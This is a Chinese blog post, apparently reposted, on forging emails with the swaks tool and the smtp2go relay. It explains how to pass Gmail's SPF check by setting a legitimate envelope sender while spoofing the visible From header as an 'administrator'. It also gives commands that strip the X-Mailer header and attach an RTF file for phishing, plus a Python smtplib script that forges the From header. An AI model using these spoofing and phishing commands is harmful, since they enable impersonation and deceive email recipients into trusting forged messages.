python 伪造源ip_Swaks伪造邮件
0x00 swaks
swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.
swaks堪稱SMTP協(xié)議的瑞士軍刀,使用它我們可以靈活的操作SMTP協(xié)議報(bào)文,這篇文章主要是記錄一下我是如何偽造一封郵件繞過gmail的檢測(cè)。
通常最簡(jiǎn)單的發(fā)送命令:
swaks --to user@example.com --server test-server.example.net但是郵件頭中會(huì)帶上X-Mailer:
同時(shí),SPF檢測(cè)會(huì)FAIL。
0x01 smtp2go
這個(gè)是從evi1cg師傅那里看到的,smtp2go主要是相當(dāng)于郵件托管,可以分發(fā)子賬戶進(jìn)行發(fā)送。
地址:https://support.smtp2go.com/hc/en-gb
(郵箱注冊(cè))普通賬戶可以免費(fèi)發(fā)1000封郵件。
分配好賬戶后,可以通過swaks進(jìn)行登錄發(fā)送郵件:
0x02 swaks發(fā)送郵件
swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap但是上面這個(gè)郵件無法繞過SPF。
0x03 SPF驗(yàn)證原理
如果mail.smtp2go.com是我的郵件服務(wù)器,那么gmail服務(wù)器收到的源IP也肯定是mail.smtp2go.com的IP。
gmail會(huì)校驗(yàn)郵件發(fā)送者的IP是否存在于smtp.from的域名spf配置列表里。
而上面這條命令:
swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -apsmtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校驗(yàn)失敗,而校驗(yàn)失敗的郵件,會(huì)有很高的幾率被扔到垃圾郵件中。
默認(rèn)情況下,如果未設(shè)置Mail.From也就是郵件頭的From,則會(huì)使用smtp.from作為Mail.From。
0x04 繞過SPF
由于郵件顯示的是Header中的From不是smtp.from,因此可以將smtp.from設(shè)置為正常的郵件服務(wù)器地址,偽造一個(gè)Mail.From即可。
swaks --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -apGmail接收到這封郵件后,會(huì)校驗(yàn)--from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校驗(yàn)。
而DKIM是校驗(yàn)郵件完整性的,smtp2go與Gmail直接使用的是TLS,不會(huì)發(fā)生什么問題。
0x05 Header
swaks支持自定義某些Header,參數(shù)如下:
swaks --header-如果我想去除Mailer特征,就可以這么做:
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap0x06 附件、釣魚
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf定制發(fā)送:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf/tmp/mail.data中是原始的郵件報(bào)文。
0x07 Python也可以做
#!/usr/bin/python# -*- coding: UTF-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.header import Header
mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""
sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']
message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] = Header(receivers[0], 'utf-8')
subject = 'SMTP 郵件測(cè)試'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error" 創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)
總結(jié)
以上是生活随笔為你收集整理的python 伪造源ip_Swaks伪造邮件的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: html图片怎么设置行高,html行高怎
- 下一篇: excel中怎样用公式获取表单控件_挑战